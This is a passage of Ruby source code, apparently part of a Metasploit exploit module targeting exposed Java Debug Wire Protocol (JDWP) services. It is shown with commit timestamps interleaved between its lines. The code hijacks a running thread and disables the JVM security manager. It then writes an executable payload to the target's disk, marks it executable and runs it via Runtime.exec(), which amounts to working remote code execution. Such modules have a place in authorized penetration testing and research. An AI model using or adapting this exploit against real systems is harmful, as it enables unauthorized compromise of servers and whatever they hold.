pl = unformat(size, buf[1..1 + size - 1])
2025-12-17 17:11:13 -05:00
fail_with(Failure::Unknown, 'Failed to create byte array to store payload') if pl.nil? || (pl == 0)
set_values(pl, pl_exe.bytes)
2014-06-04 13:18:59 -05:00
pl
2014-05-29 23:45:44 +02:00
end
# Dumps the payload on a opened server file given a execution thread
def dump_payload(thread_id, file, pl)
2025-12-17 17:11:13 -05:00
size = @vars['objectid_size']
2014-05-29 23:45:44 +02:00
data = [TAG_OBJECT].pack('C')
data << format(size, pl)
data_array = [data]
2025-12-17 17:11:13 -05:00
runtime_class, runtime_meth = get_class_and_method('Ljava/io/FileOutputStream;', 'write', '([B)V')
buf = invoke(file, thread_id, runtime_class['reftype_id'], runtime_meth['method_id'], data_array)
2014-06-04 14:23:21 -05:00
unless buf[0] == [TAG_VOID].pack('C')
2025-12-17 17:11:13 -05:00
fail_with(Failure::Unknown, 'Exception while writing to file')
2014-06-04 14:23:21 -05:00
end
2014-05-29 23:45:44 +02:00
end
# Closes a file on the server given a execution thread
def close_file(thread_id, file)
2025-12-17 17:11:13 -05:00
runtime_class, runtime_meth = get_class_and_method('Ljava/io/FileOutputStream;', 'close')
buf = invoke(file, thread_id, runtime_class['reftype_id'], runtime_meth['method_id'])
2014-06-04 14:23:21 -05:00
unless buf[0] == [TAG_VOID].pack('C')
2025-12-17 17:11:13 -05:00
fail_with(Failure::Unknown, 'Exception while closing file')
2014-06-04 14:23:21 -05:00
end
2014-05-29 23:45:44 +02:00
end
# Executes a system command on target VM making use of java.lang.Runtime.exec()
def execute_command(thread_id, cmd)
2025-12-17 17:11:13 -05:00
size = @vars['objectid_size']
2014-05-29 23:45:44 +02:00
# 1. Creates a string on target VM with the command to be executed
cmd_obj_ids = create_string(cmd)
2014-06-04 14:23:21 -05:00
if cmd_obj_ids.length == 0
2025-12-17 17:11:13 -05:00
fail_with(Failure::Unknown, 'Failed to allocate string for payload dumping')
2014-06-04 14:23:21 -05:00
end
2014-05-29 23:45:44 +02:00
2025-12-17 17:11:13 -05:00
cmd_obj_id = cmd_obj_ids[0]['obj_id']
2014-05-29 23:45:44 +02:00
# 2. Gets Runtime context
2025-12-17 17:11:13 -05:00
runtime_class, runtime_meth = get_class_and_method('Ljava/lang/Runtime;', 'getRuntime')
buf = invoke_static(runtime_class['reftype_id'], thread_id, runtime_meth['method_id'])
2014-06-04 14:23:21 -05:00
unless buf[0] == [TAG_OBJECT].pack('C')
2025-12-17 17:11:13 -05:00
fail_with(Failure::UnexpectedReply, 'Unexpected returned type: expected Object')
2014-06-04 14:23:21 -05:00
end
2014-05-29 23:45:44 +02:00
2025-06-20 13:20:44 +01:00
rt = unformat(size, buf[1..1 + size - 1])
2014-06-04 14:23:21 -05:00
if rt.nil? || (rt == 0)
2025-12-17 17:11:13 -05:00
fail_with(Failure::Unknown, 'Failed to invoke Runtime.getRuntime()')
2014-06-04 14:23:21 -05:00
end
2014-05-29 23:45:44 +02:00
# 3. Finds and executes "exec" method supplying the string with the command
2025-12-17 17:11:13 -05:00
exec_meth = get_method_by_name(runtime_class['reftype_id'], 'exec')
2014-06-04 14:23:21 -05:00
if exec_meth.nil?
2025-12-17 17:11:13 -05:00
fail_with(Failure::BadConfig, 'Cannot find method Runtime.exec()')
2014-06-04 14:23:21 -05:00
end
2014-05-29 23:45:44 +02:00
data = [TAG_OBJECT].pack('C')
data << format(size, cmd_obj_id)
data_array = [data]
2025-12-17 17:11:13 -05:00
buf = invoke(rt, thread_id, runtime_class['reftype_id'], exec_meth['method_id'], data_array)
2014-06-04 14:23:21 -05:00
unless buf[0] == [TAG_OBJECT].pack('C')
2025-12-17 17:11:13 -05:00
fail_with(Failure::UnexpectedReply, 'Unexpected returned type: expected Object')
2014-06-04 14:23:21 -05:00
end
2014-05-29 23:45:44 +02:00
end
2014-06-12 01:23:20 +02:00
# Set event for stepping into a running thread
def set_step_event
# 1. Select a thread in sleeping status
t_id = nil
@threads.each_key do |thread|
if thread_status(thread) == THREAD_SLEEPING_STATUS
t_id = thread
break
end
2014-06-04 14:23:21 -05:00
end
2025-12-17 17:11:13 -05:00
fail_with(Failure::Unknown, 'Could not find a suitable thread for stepping') if t_id.nil?
2014-05-29 23:45:44 +02:00
2014-06-12 01:55:27 +02:00
# 2. Suspend the VM before setting the event
suspend_vm
2014-05-29 23:45:44 +02:00
2016-02-01 15:12:03 -06:00
vprint_status("Setting 'step into' event in thread: #{t_id}")
2025-12-17 17:11:13 -05:00
step_info = format(@vars['objectid_size'], t_id)
2014-06-12 01:23:20 +02:00
step_info << [STEP_MIN].pack('N')
step_info << [STEP_INTO].pack('N')
data = [[MODKIND_STEP, step_info]]
2014-05-29 23:45:44 +02:00
2014-06-12 01:23:20 +02:00
r_id = send_event(EVENT_STEP, data)
2014-06-04 14:23:21 -05:00
unless r_id
2025-12-17 17:11:13 -05:00
fail_with(Failure::Unknown, 'Could not set the event')
2014-06-04 14:23:21 -05:00
end
2014-05-29 23:45:44 +02:00
2014-06-12 01:23:20 +02:00
return r_id, t_id
2014-05-29 23:45:44 +02:00
end
# Disables security manager if it's set on target JVM
def disable_sec_manager
2025-12-17 17:11:13 -05:00
sys_class = get_class_by_name('Ljava/lang/System;')
2025-12-17 17:11:13 -05:00
fields = get_fields(sys_class['reftype_id'])
sec_field = nil
fields.each do |field|
2025-12-17 17:11:13 -05:00
sec_field = field['field_id'] if field['name'].downcase == 'security'
end
2025-12-17 17:11:13 -05:00
fail_with(Failure::Unknown, 'Security attribute not found') if sec_field.nil?
2025-12-17 17:11:13 -05:00
value = get_value(sys_class['reftype_id'], sec_field)
2025-06-20 13:20:44 +01:00
if (value == 0)
2025-12-17 17:11:13 -05:00
print_good('Security manager was not set')
else
2025-12-17 17:11:13 -05:00
set_value(sys_class['reftype_id'], sec_field, 0)
if get_value(sys_class['reftype_id'], sec_field) == 0
print_good('Security manager has been disabled')
else
2025-12-17 17:11:13 -05:00
print_good('Security manager has not been disabled, trying anyway...')
end
end
end
2014-05-29 23:45:44 +02:00
# Uploads & executes the payload on the target VM
def exec_payload(thread_id)
# 0. Fingerprinting OS
fingerprint_os(thread_id)
2016-02-01 15:12:03 -06:00
vprint_status("Executing payload on \"#{@os}\", target version: #{version}")
2014-05-29 23:45:44 +02:00
# 1. Prepares the payload
payload_exe, pl_exe = setup_payload
2014-05-30 00:14:59 +02:00
2014-05-29 23:45:44 +02:00
# 2. Creates file on server for dumping payload
file = create_file(thread_id, payload_exe)
# 3. Uploads payload to the server
pl = upload_payload(thread_id, pl_exe)
# 4. Dumps uploaded payload into file on the server
dump_payload(thread_id, file, pl)
# 5. Closes the file on the server
close_file(thread_id, file)
# 5b. When linux arch, give execution permissions to file
2017-08-22 16:48:09 -05:00
if target['Platform'] == 'linux' || target['Platform'] == 'osx'
2014-06-16 13:37:44 -05:00
cmd = "chmod +x #{payload_exe}"
execute_command(thread_id, cmd)
end
2014-05-29 23:45:44 +02:00
# 6. Executes the dumped payload
cmd = "#{payload_exe}"
execute_command(thread_id, cmd)
end
def exploit
2014-06-03 23:13:14 +02:00
@my_id = 0x01
2014-05-29 23:45:44 +02:00
@vars = {}
@classes = []
@methods = {}
2014-06-12 01:23:20 +02:00
@threads = {}
2014-05-29 23:45:44 +02:00
@os = nil
2014-05-30 00:14:59 +02:00
2014-05-29 23:45:44 +02:00
connect
2014-06-04 12:48:20 -05:00
unless handshake == HANDSHAKE
2025-12-17 17:11:13 -05:00
fail_with(Failure::NotVulnerable, 'JDWP Protocol not found')
2014-06-04 12:48:20 -05:00
end
2014-05-30 00:14:59 +02:00
2025-12-17 17:11:13 -05:00
print_status('Retrieving the sizes of variable sized data types in the target VM...')
2014-06-04 13:18:59 -05:00
get_sizes
2014-05-29 23:45:44 +02:00
2025-12-17 17:11:13 -05:00
print_status('Getting the version of the target VM...')
2014-05-29 23:45:44 +02:00
get_version
2025-12-17 17:11:13 -05:00
print_status('Getting all currently loaded classes by the target VM...')
2014-06-03 23:13:14 +02:00
get_all_classes
2014-05-29 23:45:44 +02:00
2025-12-17 17:11:13 -05:00
print_status('Getting all running threads in the target VM...')
2014-06-12 01:23:20 +02:00
get_all_threads
2016-02-01 15:12:03 -06:00
print_status("Setting 'step into' event...")
2014-06-12 01:23:20 +02:00
r_id, t_id = set_step_event
2014-05-29 23:45:44 +02:00
2025-12-17 17:11:13 -05:00
print_status('Resuming VM and waiting for an event...')
2014-06-12 01:55:27 +02:00
response = resume_vm
2014-06-12 01:23:20 +02:00
2014-06-12 01:55:27 +02:00
unless parse_event(response, r_id, t_id)
2014-06-12 01:23:20 +02:00
datastore['NUM_RETRIES'].times do |i|
2016-02-01 15:12:03 -06:00
print_status("Received #{i + 1} responses that are not a 'step into' event...")
2014-06-12 01:23:20 +02:00
buf = read_reply
2014-06-12 01:55:27 +02:00
break if parse_event(buf, r_id, t_id)
2014-06-12 01:23:20 +02:00
if i == datastore['NUM_RETRIES']
fail_with(Failure::Unknown, "Event not received in #{datastore['NUM_RETRIES']} attempts")
end
end
2014-05-29 23:45:44 +02:00
end
2016-02-01 15:12:03 -06:00
vprint_status("Received matching event from thread #{t_id}")
2025-12-17 17:11:13 -05:00
print_status('Deleting step event...')
2014-06-12 01:23:20 +02:00
clear_event(EVENT_STEP, r_id)
2014-05-29 23:45:44 +02:00
2025-12-17 17:11:13 -05:00
print_status('Disabling security manager if set...')
disable_sec_manager
2025-12-17 17:11:13 -05:00
print_status('Dropping and executing payload...')
2014-05-29 23:45:44 +02:00
exec_payload(t_id)
disconnect
end
2014-05-30 00:14:59 +02:00
end